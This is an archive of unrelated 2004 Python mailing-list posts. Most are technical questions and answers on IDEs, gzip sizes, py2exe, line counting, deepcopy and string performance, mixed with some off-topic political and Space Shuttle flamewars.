to continue a debate off-list...

-Harry
On Fri, 10 Sep 2004 18:05:06 GMT, Coby Beck <cbeck at mercury.bc.ca> wrote:
> 
> "Alan Balmer" <albalmer at att.net> wrote in message
> news:3fh3k0tnumgcvdd89h8jbbnc2j92t97i76 at 4ax.com...
> > Can you point to the international agreement which allows Canadian
> > citizens to be thrown into US jails for the stated offense?
> 
> It's probably in the same international agreement that allows citizens of
> any country to be held incommunicado indefinitely in Guantanamo Bay.  And
> the same international agreement that allows Afgan and Iraqi POW's to be
> imprisoned with no Geneva convention protection and hidden from
> International Red Cross.  Do you really think the Bush administration cares
> about international agreements?
> 
> --
> Coby Beck
> (remove #\Space "coby 101 @ big pond . com")
> 
> 
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From heikowu at ceosg.de  Mon Sep 20 03:49:00 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Mon, 20 Sep 2004 09:49:00 +0200
Subject: python is going to die! =(
In-Reply-To: <cikveo$fld$1@sea.gmane.org>
References: <cikveo$fld$1@sea.gmane.org>
Message-ID: <200409200949.00958.heikowu@ceosg.de>

Am Sonntag, 19. September 2004 23:58 schrieb julio:
> <snip retarted crap>

If you think you can make anyone switch to C# because of some inflammatory 
comments about Python, think again. And you know what: I've coded using the 
"massively productivity increasing IDE called Visual Studio" in C++, and 
yeah, you are right that for programming in C++ I needed call tips, 
integrated help, and everything, just because I wouldn't have been productive 
at all with out them (can't keep stupid hungarian notation property names of 
all MFC classes in your head, can you?). But with Python, I've yet to find a 
class which can't be inspected/tried out with the command interpreter. And 
isn't this so much better than having to read documentation or having call 
tips?

At least programs that were written for Python six years ago still work on the 
Python VM, programs written for the .NET VM couldn't have been written less 
than 3/2 years ago, and those early versions of C# were completely different 
anyway (Microsoft style of ensuring that all programmers retain their jobs; 
everytime a new Windows or other program comes out, you have to port the 
program to it, just look at the switch from VBA 5.0 to VBA 6.0)...

Anyway, all you talk about are IDEs, you don't talk about the language. Have 
you even considered what warts Python has in your own experience (then that's 
something that I could discuss about with you), or have you just found Skip 
Montanaro's page about Python warts and thought: yeah, when some Python god 
like him says so, those must be warts?

Just go and leave us alone here troll.

Heiko.


From aleaxit at yahoo.com  Thu Sep 16 08:16:22 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 16 Sep 2004 14:16:22 +0200
Subject: Ranting about the state of Python IDEs for Windows
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<xv6dnbAB2MabvtvcRVn-sA@adelphia.com>
	<2qo1v3F11r4inU1@uni-berlin.de>
	<1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com>
	<2qtcjpF120qvbU1@uni-berlin.de>
Message-ID: <1gk7m2e.jnaaas1e93hhqN%aleaxit@yahoo.com>

Daniel Ellison <daniel at syrinx.net> wrote:
   ...
> > Except, no tabbed interface when editing multiple files (not even with
> > GVIM: just ONE window, as seen from the OS/GUI level, even though vim
> > can partition it).  Vim is my favourite editor, but the lack of tabbed
> > interface _is_ a pity.
   ...
> Ah, but that partitioning, or splitting windows, is a viable alternative
> to tabs. Once one gets used to it, splitting and moving from window to
> window is done without thought. No, it's not convenient to have a dozen

I've used VIM since day one (and vi before then) and yet I consider its
"partitioning or splitting window" a substantial productivity loss
compared to tabbed editors.  Not a matter of getting used to it, just
ergonomically inferior.

> The only thing Vim doesn't have is project management. But I do believe
> there are Vim scripts that can handle this function to a certain extent.

That one I don't miss in the least.

> Anyway, I'm not here to convert anyone. I just know that every time I've
> tried to move to another editor I always end up back at Vim.

Me too, but that's part of why I grouse so badly about the few things
Vim doesn't do _right_.  When I'm dialed in, no GUI, slow line, and have
to use vim without the G, sure, kludges like window splitting are better
than nothing.  But mostly I'm on a GUI, with gvim, and the lack of
tabbed editing just sucks.  Next time I have some spare time (that will
be the day) I'll give emacs+its vi emulations another try, I think.
Most likely I'll come back to Vim and start grousing again, tho...;-)


Alex


From carribeiro at gmail.com  Fri Sep 24 16:48:24 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 24 Sep 2004 17:48:24 -0300
Subject: Why not FP for Money?
In-Reply-To: <A128D751272CD411BC9200508BC2194D053C79D9@escpl.tcp.com.ar>
References: <A128D751272CD411BC9200508BC2194D053C79D9@escpl.tcp.com.ar>
Message-ID: <864d3709040924134834388b9f@mail.gmail.com>

[Facundo Batista]
# Why those steps? To achieve a community consensus for the PEP 
# I've made was not easy and took me a long time. Before it becomes
# a core data type (if someday), decimal needs to be used *widely*. 
# So start spreading the word! :) 
...
# Meanwhile, use decimal.Decimal("<number>"). 

The problem is that the notation proposed for literals is a show
stopper. I can guarantee to you that any novice using Python would
immediately understand and use the Decimal type -- but only if the
notation were convenient enough. More often than not, people will
continue to use floats, have precision problems, and complain at
c.l.py. I could bet that the number of threads about rounding errors
is not going to be lower over the next months even with Decimal in the
standard library :-) (Let's hope I'm wrong!)



-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From roo at try-removing-this.darkboong.demon.co.uk  Sat Sep  4 16:17:33 2004
From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott)
Date: Sat, 04 Sep 2004 21:17:33 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <1bpt51alai.fsf@cs.nmsu.edu>
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<Os7_c.113460$Fg5.65632@attbi_s53>
	<1094257487.855439@teapot.planet.gong>
	<qs9_c.235307$8_6.157753@attbi_s04>
	<1094285694.404322@teapot.planet.gong>
	<irl_c.67482$jZ5.60995@clgrps13> <1bpt51alai.fsf@cs.nmsu.edu>
Message-ID: <1094329053.514935@teapot.planet.gong>

Joe Pfeiffer wrote:
>>"Rupert Pigott" <roo at try-removing-this.darkboong.demon.co.uk> wrote in
>>message news:1094285694.404322 at teapot.planet.gong...
>>
>>
>>>Consider this : If the tables were turned and an Aerojet booster
>>>exploded in the sky I'll bet the armchair QBs would be asking why
>>>were Aerojet chosen over Morton-Thiokol who had more experience of
>>>building large solid-fuel rockets.
> 
> 
> However, it would certainly not have failed at the segment joints.#

Indeed, it could have failed in a way entirely unique to itself... :)

The O-Ring thing had been identified, was preventable and should have
been prevented. Sure, perhaps the design did suck, but the point is
the whole disaster was trivially avoidable if the people running the
show were willing to grasp the nettle.

> The more I read sci.space.tech the more convinced I am that the whole
> shuttle concept was fundamentally flawed from the beginning.  Putting
> the orbiter next to (rather than on top of) the huge tank of high
> explosive is not a  good idea.  Reentry from orbit is not the same as
> flying an airplane; ablative heat shields work and work well.

It does seem silly, but it is a glorious piece of brute force design
in the face of impossible odds none the less.

Cheers,
Rupert



From b.niemann at betternet.de  Mon Sep 20 09:11:55 2004
From: b.niemann at betternet.de (Benjamin Niemann)
Date: Mon, 20 Sep 2004 15:11:55 +0200
Subject: uncompressed size of .gz file
In-Reply-To: <mailman.3491.1095582794.5135.python-list@python.org>
References: <1095339670.41498e96865f0@correo.cujae.edu.cu>
	<mailman.3491.1095582794.5135.python-list@python.org>
Message-ID: <cimkno$dc6$1@online.de>

It should be noted that this information may not be reliable, the filesize could 
be faked by a modified .gz file. "Bad guys" might use this to create a file that 
fills up your HD when you try to unpack it (e.g. used as a DOS attack again 
virus scanners that analyse compressed mail attachments). If you have to handle 
.gz files from unknown sources and you want to defend such attacks, the 
mentioned method is not sufficient.

Fredrik Lundh wrote:
> "frankabel at tesla.cujae.edu.cu" wrote:
> 
> 
>>What python function give me the uncompressed size of .gz file like
>>"gzip -l name_of_compress_file".
> 
> 
> the size is stored as a 32-bit integer at the end of the file.  to get it, you
> can use something like:
> 
> def getsize(gzipfile):
>     import struct
>     f = open(gzipfile, "rb")
>     if f.read(2) != "\x1f\x8b":
>         raise IOError("not a gzip file")
>     f.seek(-4, 2)
>     return struct.unpack("<i", f.read())[0]
> 
> usage:
> 
> 
>>>>print getsize("Python-2.4a3.tgz")
> 
> 38758400
> 
> hope this helps!
> 
> </F> 
> 
> 
> 


From indrek.kruusa at tuleriit.ee  Tue Sep 21 07:13:12 2004
From: indrek.kruusa at tuleriit.ee (Indrek Kruusa)
Date: Tue, 21 Sep 2004 11:13:12 -0000
Subject: Telecoms progs...
Message-ID: <4107B1A7.6080907@tuleriit.ee>

Hi!

I have wrote one simple piece of code - phone bill calculation - for 
comparing several scripting languages (c#,perl,python).
You can find results from "Speed test" section at:

http://www.tuleriit.ee/progs/index.php

Please remember that these scripts are for comparing languages behavior 
and are not meant as good programming examples how to resolv    
particular problem.

If there is something wrong with python code please let me know! :)

Thanks,
Indrek




From peter at engcorp.com  Thu Sep  2 08:52:51 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Sep 2004 08:52:51 -0400
Subject: Xah Lee's Unixism
In-Reply-To: <20040901.2343.57633snz@dsl.co.uk>
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
Message-ID: <YLednXSn7obciqrcRVn-og@powergate.ca>

Brian {Hamilton Kelly} wrote:
> wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote:
>>There's a story about why railroad tracks are spaced the way they are.
> 
> Is this the one about two Roman horses' arses?  If so, it also accounts
> for the physical dimensions of the Space Shuttle's boosters.

A quick search using Google will show that while there is a
certain amount of truth in the original story, most of the
details are wrong, and the final bit about the booster rockets
is unsubstantiated.  But it's still a cute story.

-Peter


From scook at elp.rr.com  Wed Sep  8 00:31:26 2004
From: scook at elp.rr.com (Stan Cook)
Date: Wed, 08 Sep 2004 04:31:26 GMT
Subject: Remove items from a list
References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com>
	<KOv%c.104$GRm.52@news04.bloor.is.net.cable.rogers.com>
Message-ID: <yWv%c.33126$Dl4.19812@fe2.texas.rr.com>

Yes, I used the listdir.  The list is a list of files in the
directory.  I want to filter everything out but the ".dbf"
files.


"Dan Perl" <dperl at rogers.com> wrote in message
news:KOv%c.104$GRm.52 at news04.bloor.is.net.cable.rogers.com...
: What is the content of _dbases?  How do you create that
list?  If I
: understand correctly, it is a list of file names that you
may have gotten
: with os.listdir( ).
:
: And I want to make sure I understand the problem.  Are you
trying to remove
: the names from the list or are you trying to remove the
files themselves?
: Just making sure that it's not the latter...
:
: Can you put more in your example, something that I may be
able to run and
: see the results?
:
: Dan
:
: "Stan Cook" <scook at elp.rr.com> wrote in message
: news:ysv%c.32876$Dl4.14767 at fe2.texas.rr.com...
: I was trying to take a list of files in a directory and
remove all but the
: ".dbf" files.  I used the following to try to remove the
items, but they
: would not remove.  Any help would be greatly appreciated.
:
: x = 0
: for each in _dbases:
:     if each[-4:] <> ".dbf":
:             del each            # also tried:   del
_dbases[x]
:     x = x + 1
:
: I must be doing something wrong, but it acts as though it
is....
:
: signed
: . . . . . at the end of my rope....!
:
:
: ---
: Outgoing mail is certified Virus Free.
: Checked by AVG anti-virus system (http://www.grisoft.com).
: Version: 6.0.749 / Virus Database: 501 - Release Date:
9/1/04
:
:


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.749 / Virus Database: 501 - Release Date:
9/1/04




From fuzzyman at gmail.com  Tue Sep  7 06:35:00 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 7 Sep 2004 03:35:00 -0700
Subject: A couple of Python 'Features'
References: <6f402501.0409040202.26cd7a30@posting.google.com>
	<Gpl_c.14407$Dl4.9083@fe2.texas.rr.com>
	<6f402501.0409060210.2d69e2a1@posting.google.com>
	<chhist$30m$05$1@news.t-online.com>
Message-ID: <6f402501.0409070235.3890f7cf@posting.google.com>

Peter Otten <__peter__ at web.de> wrote in message news:<chhist$30m$05$1 at news.t-online.com>...
> Michael Foord wrote:
> 
> > Yep... I think the example failure I showed for FieldStorage was
> > actually under Python 2.3.4 - so I'm not convinced it's fixed.
> > 
> > I'll raise two new bug reports but include references to the ones you
> > mention....
> 
> I think it _is_ fixed:
> 
> Python 2.3.3 (#1, Jan  3 2004, 13:57:08)
> [GCC 3.2] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> import cgi
> >>> for i in cgi.FieldStorage(): print i
>  ...
> >>>
> 
> (I really should update)
> 
> I suggest that you try it out under 2.3.4 *before* you file the report. I
> don't think it would be polite to bother the developers with a report of a
> bug that may already be fixed.
> 
> Peter

I thought I had... but in fact the 'crate' I use to access the
internet on only has Python 2.2 (which I installed for testing my CGIs
on). Looks like it *is* fixed in 2.3.4...

Thanks

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From usemyfullname at hotmail.com  Fri Sep 10 16:35:48 2004
From: usemyfullname at hotmail.com (Antony Sequeira)
Date: Fri, 10 Sep 2004 20:35:48 GMT
Subject: Xah Lee's Unixism
In-Reply-To: <chsu8b$ujb$1@grandcanyon.binc.net>
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
Message-ID: <Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com>

Chuck Dillon wrote:
> 
> So, lets say you are an elected official on 9/12/01, the day after we 
> lost *only* 3K out of the potentially 20-30K folks that could have been 
> killed (that's how many folks spent their day in those towers).  You no 
> longer have any frame of reference for the magnitude or imminence of 
> risk of an attack elsewhere in country.  How much time do you spend 
> studying up international treaties before you decide how to act?
> 
How is that related to Saqqddam Hussqqqqqain being a jackass and us 
spending 100 or whatever billions on removing him and having 1000+ of 
Americans + unknown number of Iraqqqqqis getting killed. How does that 
help avoid
9 qqqq  11 or are you confused between Iraqqqqqis and Saudqqqqis ?
Why don't we destroy everything but the U.S.,  that way we can guarantee 
that we'll never have any posibility of a terrqqqqorist attack from 
anywhere but from within U.S. I'll leave it to your imagination on how 
to extrapolate that to counter terrqqqqorism within U.S.

-Antony


From shalabh at cafepy.com  Wed Sep  1 17:16:10 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Wed, 01 Sep 2004 14:16:10 -0700
Subject: negative stride list slices
In-Reply-To: <evqZc.6862$MR2.33137@news1.mts.net>
References: <8a638f47.0409010941.7f1cbbad@posting.google.com>	<r7oZc.6653$MR2.32885@news1.mts.net>
	<2pmj4aFmofl2U1@uni-berlin.de> <evqZc.6862$MR2.33137@news1.mts.net>
Message-ID: <ch5e3r$o8c$1@sea.gmane.org>

Reid Nichol wrote:
> This was the part that I was refering to:
> 
>  +---+---+---+---+---+
>  | H | e | l | p | A |
>  +---+---+---+---+---+
>  0   1   2   3   4   5
> -5  -4  -3  -2  -1
> 
> 
> Does it not all work the same in practice?


I'd like to add:

   +---+---+---+---+---+
   | H | e | l | p | A |
   +---+---+---+---+---+
   0   1   2   3   4   5
  -5  -4  -3  -2  -1
   |                   |
  start               end   (defaults for +ve step)
  end                 start (defaults for -ve step)

(Is this correct?)

David Abrahams wrote:
 > Can anyone explain the logic behind the behavior of list slicing with
 > negative strides?  For example:
 >
 >   >>> print range(10)[:-3:-1]
 >   [9,8]
 >
 > I found this result very surprising

What were you expecting?

Thanks,
Shalabh



From abcdebl2nonspammy at verizon.net  Thu Sep 23 23:25:45 2004
From: abcdebl2nonspammy at verizon.net (David Lees)
Date: Fri, 24 Sep 2004 03:25:45 GMT
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
 project.
In-Reply-To: <itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com>
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<864d370904092305026f41795@mail.gmail.com>
	<mailman.3821.1095980182.5135.python-list@python.org>
	<itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com>
Message-ID: <ZsM4d.5518$Ec4.508@trndny04>

Richard Hanson wrote:
<snip>
You might want to skip doors.  There is already an overly complex 
requirements tool by that name:
http://www.telelogic.com/products/doorsers/doors/index.cfm

David
> 
> (I've already thought of Doors... -- doors are more useful than
> windows, aren't they? ;-) )
> 
> 
> names-can-be-fun'ly y'rs,
> Richard Hanson
> 


From barross at web.de  Sun Sep  5 15:41:06 2004
From: barross at web.de (Hans Dembinski)
Date: Sun, 05 Sep 2004 21:41:06 +0200
Subject: Is it possible?: cat text.txt |
	python_script_which_also_gets_user_input.py
References: <413a06fc@news.kullen.rwth-aachen.de> <413A7E1B.4030607@cs.com>
	<1094360712.39356@yasure>
Message-ID: <413b6bcf@news.kullen.rwth-aachen.de>

Thank you for your ideas, that really helped me.
It works now. :-)

So the answer to my question is YES. :-)


From David.Vaughan at Gifford.UK.com  Thu Sep 23 11:37:39 2004
From: David.Vaughan at Gifford.UK.com (David Vaughan)
Date: Thu, 23 Sep 2004 16:37:39 +0100
Subject: py2exe and Pmw
Message-ID: <C59AEFCA2D33284B8EE3C0A8C8C9004A0FB727@kiwi>


py2exe and Pmw problem
----------------------

I was really surprised not to find some faq setting out what to do to
get py2exe working for a program using
Pmw.  I'm haemorrhaging time here, and I'm now just after step-by-step
guidance on using py2exe and Pmw
together.  I wasn't expecting this to take hours...

I've used py2exe succesfully on non-gui programs, and the Python program
I'm trying to py2exe works fine on
the interpreter.  I've used bundlepmw.py to create Pmw.py.  I've tried
putting Pmw.py, and PmwColor.py and
PmwBlt.py in all sorts of places, and always I get a message as if I
hadn't provided any of them:

Traceback (most recent call last):
  File "newproj.py", line 21, in ?
  File "Pmw\__init__.pyc", line 28, in ?
WindowsError: [Errno 3] The system cannot find the path specified:
'C:\\data\\Software\\Python\\newproj\\v2_1\\dist\\library.zip\\Pmw/*.*'

Also, once I've successfully py2exe'd, where do I have to put all the
various dll, pyd, and zip files
when I want to run it on another machine?  (I'm not a native to
Windows.)

-----------------------

I'm trying to create the executable on a Windows XP platform, with
Python 2.3, but the executable is to run
on other flavours of Windows too.

My setup.py follows (uncommenting the "packages" line doesn't seem to
make any difference):

from distutils.core import setup
import py2exe

import sys
sys.argv.append("py2exe") #Avoids having to use the command line

setup(
    version = "2.1",
    description = "Creates default file structures for new
projects/tenders",
    name = "newproj",

#    packages = ["Pmw"],

    # targets to build
    windows = ["newproj.py"],
    )

-----------------------

Please don't just point me to places like the following without extra
guidance - I've already been to loads
of these, and I've spent too long trying to piece it all together:
http://starship.python.net/crew/theller/py2exe/
http://www.python.org/doc/current/dist/
http://www.free2code.net/tutorials/programming/python/13/py2exe.php
http://starship.python.net/crew/theller/moin.cgi/Py2Exe
http://66.102.9.104/search?q=cache:H4sq6tjugqkJ:aspn.activestate.com/ASP
N/Mail/Message/py2exe-users/2165190+py2exe+pmw+&hl=en

-----------------------

Thanks in advance for any help.
David


David Vaughan
GIFFORD AND PARTNERS LTD
Carlton House, Ringwood Road, Woodlands,
Southampton, SO40 7HT,  UNITED KINGDOM
 
Tel: +44 (0)23 8081 7500      Fax: +44 (0)23 8081 7600
Email: David.Vaughan at gifford.uk.com
Web:  http://www.gifford.uk.com

This e-mail and any files transmitted with it are intended solely for
the use of the individual or entity to whom they are addressed and may
be confidential.  If you are not the intended recipient or the person
responsible for delivering the e-mail to the intended recipient, be
advised that you have received this e-mail in error and that any use,
dissemination, forwarding, printing or copying of this e-mail is
strictly prohibited.


From zanesdad at bellsouth.net  Wed Sep  1 20:59:04 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Wed, 01 Sep 2004 20:59:04 -0400
Subject: .pyc files??
In-Reply-To: <938a4680.0409011626.3b047658@posting.google.com>
References: <938a4680.0409011626.3b047658@posting.google.com>
Message-ID: <41367058.5090009@bellsouth.net>

Ishwar Rattan wrote:

>Say a filea.py contains a number of functions defined in it (using
>def afn(): etc.)
>
>in pyhton, filea is imported to use afn (filea.afn() etc.), it cerates
>a filea.pyc file, what is the purpose of this file?
>
>-ishwar
>  
>
This file contains compiled bytecode that the Python interpreter uses.  
If, in your example, filea.pyc exists and its timestamp is newer than 
filea.py, then the interpreter uses filea.pyc without even attempting to 
recompile it (which saves the time spent compiling in subsequent runs).  
If filea.pyc doesn't exist, or its timestamp is older than filea.py, the 
Python interpreter compiles filea.py to bytecode and writes it to 
filea.pyc (if it has permissions to do so).



From aleaxit at yahoo.com  Thu Sep  9 17:07:20 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 9 Sep 2004 23:07:20 +0200
Subject: deepcopy raises TypeError for method/function?
References: <Xns955F6FB13D97AOKB@130.133.1.4>
Message-ID: <1gjvbxx.1am7i1jvn6ht7N%aleaxit@yahoo.com>

OKB (not okblacke) <BrenBarn at aol.com> wrote:
   ...
> deepcopy(SomeClass) just silently returns the same SomeClass object.  I
> would expect deepcopy(someObj.someMethod) to do likewise, just returning
> the same method object.
> 
>       Does anyone have any pointers on this?  It seems that certain types
> are safe to deepcopy (even if they're not actually copied) whereas 
> others are not.  Do I just have to manually typecheck for functions and
> methods?  Are there any other types that might raise such an error?

You can use copy_reg to register an identity function as the way to
'copy' function and methods, if that floats your boat.  And sure, there
are other types that raise errors, imagine copying a file object, a
socket, ...!


Alex


From adalke at mindspring.com  Mon Sep 20 13:21:14 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Mon, 20 Sep 2004 17:21:14 GMT
Subject: How to count lines in a text file ?
In-Reply-To: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
Message-ID: <ekE3d.648$g42.95@newsread3.news.pas.earthlink.net>

Ling Lee wrote:
> 2) I made the first part like this:
> 
> in_file = raw_input("What is the name of the file you want to open: ")
> in_file = open("test.txt","r")
> text = in_file.read()

You have two different objects related to the file.
One is the filename (the result of calling raw_input) and
the other is the file handle (the result of calling open).
You are using same variable name for both of them.  You
really should make them different.

First you get the file name and reference it by the variable
named 'in_file'.  Next you use another filename ("test.txt")
for the open call.  This returns a file handle, but not
a file handle to the file named in 'in_file'.

You then change things so that 'in_file' no longer refers
to the filename but now refers to the file handle.

A nicer solution is to use one variable name for the name
(like "in_filename") and another for the handle (you can
keep "in_file" if you want to).  In the following I
reformatted it so the example fits in under 80 colums

    in_filename = raw_input("What is the name of the file "
                            "you want to open: ")
    in_file = open(in_filename,"r")
    text = in_file.read()


Now the in_file.read() reads all of the file into memory.  There
are several ways to count the number of lines.  The first is
to count the number of newline characters.  Because the newline
character is special, it's most often written as what's called
an escape code.  In this case, "\n".  Others are backspace ("\b")
and beep ("\g"), and backslash ("\\") since otherwise there's
no way to get the single character "\".

Here's how to cound the number of newlines in the text

num_lines = text.count("\n")

print "There are", num_lines, "in", in_filename


This will work for almost every file except for one where
the last line doesn't end with a newline.  It's rare, but
it does happen.  To fix that you need to see if the
text ends with a newline and if it doesn't then add one
more to the count


num_lines = text.count("\n")
if not text.endswith("\n"):
   num_lines = num_lines + 1

print "There are", num_lines, "in", in_filename


> 3) I think that I have to use a for loop ( something like
> for line in text: count +=1)

Something like that will work.  When you say "for xxxx in string"
it loops through every character in the string, and not
every line.  What you need is some way to get the lines.

One solution is to use the 'splitlines' method of strings.
This knows how to deal with the "final line doesn't end with
a newline" case and return a list of all the lines.  You
can use it like this

   count = 0
   for line in text.splitlines():
     count = count + 1

or, since splitlines() returns a list of lines you can
also do

   count = len(text.splitlines())

It turns out that reading lines from a file is very common.
When you say "for xxx in file" it loops through every line
in the file.  This is not a list so you can't say

   len(open(in_filename, "r"))  # DOES NOT WORK

instead you need to have the explicit loop, like this

   count = 0
   for line in open(in_filename, "r")):
     count = count + 1

An advantage to this approach is that it doesn't read
the whole file into memory.  That's only a problems
if you have a large file.  Try counting the number of
lines in a 1.5 GB file!

By the way, the "r" is the default for the a file open.
Most people omit it from the parameter list and just use

    open(in_filename)

Hope this helped!

By the way, you might want to look at the "Beginner's
Guide to Python" page at http://python.org/topics/learn/ .
It has pointers to resources that might help, including
the tutor mailing list meant for people like you who
are learning to program in Python.

				Andrew
				dalke at dalkescientific.com


From guettli at thomas-guettler.de  Wed Sep 22 10:36:17 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Wed, 22 Sep 2004 16:36:17 +0200
Subject: Python speed-up
References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net>
Message-ID: <pan.2004.09.22.14.36.16.401333@thomas-guettler.de>

Am Wed, 22 Sep 2004 16:06:04 +0200 schrieb Guyon Mor?e:

> Hi all,
> 
> I am working on a Huffman encoding exercise, but it is kinda slow. This is
> not a big problem, I do this to educate myself :)
> 
> So I started profiling the code and the slowdown was actually taking place
> at places where I didn't expect it.
> 
> after I have created a lookup-table-dictionary with encodings like
> {'d':'0110', 'e':'01' etc} to encode the original text like this:


> 
> for c in original_text:
>     encoded_text += table[c]

Hi Guyon,

this is slow. Try this:

e_t=[]
for c in original_text:
    e_t.append(table[c])
e_t=''.join(e_t)


Your solutions creates a new string for every +=.

HTH,
 Thomas




From anders.eriksson at morateknikutveckling.se  Thu Sep 23 06:06:18 2004
From: anders.eriksson at morateknikutveckling.se (Anders Eriksson)
Date: Thu, 23 Sep 2004 12:06:18 +0200
Subject: Parsing HTML
References: <mailman.3761.1095923477.5135.python-list@python.org>
Message-ID: <1gt1mc6urgm0t$.dlg@morateknikutveckling.se>

Hello Ben!

On Thu, 23 Sep 2004 08:11:15 +0100, Ben Last wrote:

> There are several HTML parsers, but many (including me) speak well of
> Beautiful Soup; it doesn't try to check for correctness or do any
> validation, it just parses the HTML.
> http://www.crummy.com/software/BeautifulSoup/

It seems like something I could use, except I don't really get how.

The sample that parses ESPN's pitch-by-pitch summaries of baseball games,
look like it would do something like the thing I want to do. The problem is
that the script doesn't do anything. I guess that the web page has
changed...

Is there some other place I can go to see some more samples on using
BeautifulSoup or maybe more documentation?

// Anders


From benji at benjiyork.com  Fri Sep 24 15:49:56 2004
From: benji at benjiyork.com (Benji York)
Date: 24 Sep 2004 12:49:56 -0700
Subject: Access to MS SQL from Linux?
References: <mailman.3835.1096015745.5135.python-list@python.org>
Message-ID: <c45e6536.0409241149.30fbbc4e@posting.google.com>

Tim Golden <tim.golden at viacom-outdoor.co.uk> wrote in message news:<mailman.3835.1096015745.5135.python-list at python.org>...
> I'm certainly interested; any chance of your putting them up
> on a website somewhere?

I'll put it up tonight or tomorrow and post the address here.  My
module is currently in alpha state, but in active development.  It is
only about 400 LOC, but is almost fully functional.
--
Benji York


From mark at prothon.org  Mon Sep  6 19:08:56 2004
From: mark at prothon.org (Mark Hahn)
Date: Mon, 6 Sep 2004 16:08:56 -0700
Subject: Anyone know anything named DX? (was Re: Announcing PyCs)
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
	<chip9c$vh$1@news1.ucsd.edu>
Message-ID: <1a1th50c69x5x.tw2k46vhmj8c.dlg@40tude.net>

On Mon, 06 Sep 2004 15:45:01 -0700, Robert Kern wrote:

> Mark Hahn wrote:
>> On Wed, 1 Sep 2004 22:19:25 -0800, EP wrote:
>> 
>> 
>>>Jeremy Bowers commented:
>> 
>> 
>>>If you can't come up with a good name, use a letter and symbol or 
>>>three (but no more than 3), e.g. C, C++, C#.  Such will be 
>>>non-objectionable, but will not help you in getting your 
>>>language/technology adopted, or even remembered.
>> 
>> 
>> Well, I gave up on coming up with a good name so I'm taking your advice and
>> using DX, for Dynamic Xml language. 
> 
> I'd be cautious about that. "dynamic xml" googles up a large number of hits.
> 
>> I had a number of cute names like
>> groovy but I just couldn't stand the thought of a cute name.  I also had
>> acronyms like UDXL but that would get lost in the sea of acronyms.  So my
>> web-site will be dx-lang.org and all will be well.
>> 
>> Does anyone know of any conflicts for DX?  Any existing software projects?
>> Any languages?  I know all about all the ham radio stuff but I assume that
>> is a non-issue.
> 
> There's IBM's Data Explorer (DX) although its most recent incarnation 
> has been released as an open source project under the name OpenDX.

That looks pretty bad.  Even though it's only on high-end workstations it
is a language and you run it with >DX

Oh well.



From kirk at eyegor.jobsluder.net  Tue Sep 28 11:04:14 2004
From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder)
Date: Tue, 28 Sep 2004 15:04:14 GMT
Subject: emulating du with os.walk
References: <slrnclej7g.cl6.kirk@eyegor.jobsluder.net>
	<41579e43$0$9613$9b622d9e@news.freenet.de>
	<mailman.4001.1096357473.5135.python-list@python.org>
Message-ID: <slrncliva0.mu5.kirk@eyegor.jobsluder.net>

On 2004-09-28, Gerrit <gerrit at nl.linux.org> wrote:
> "Martin v. L?wis" wrote:
>> Kirk Job-Sluder wrote:
>> >There should be an easy way to get around this, or perhaps I'm better
>> >off just parsing the output of du.
>> 
>> I suggest that you don't use os.path.walk, but write a recursive
>> function yourself. You should find that the entire problem can
>> be solved in 12 lines of Python code.
>
> There are some nasty little problems which make it difficult.
>
> First, what do you do with hardlinks? Suppose directory a/a, a/b and a/c
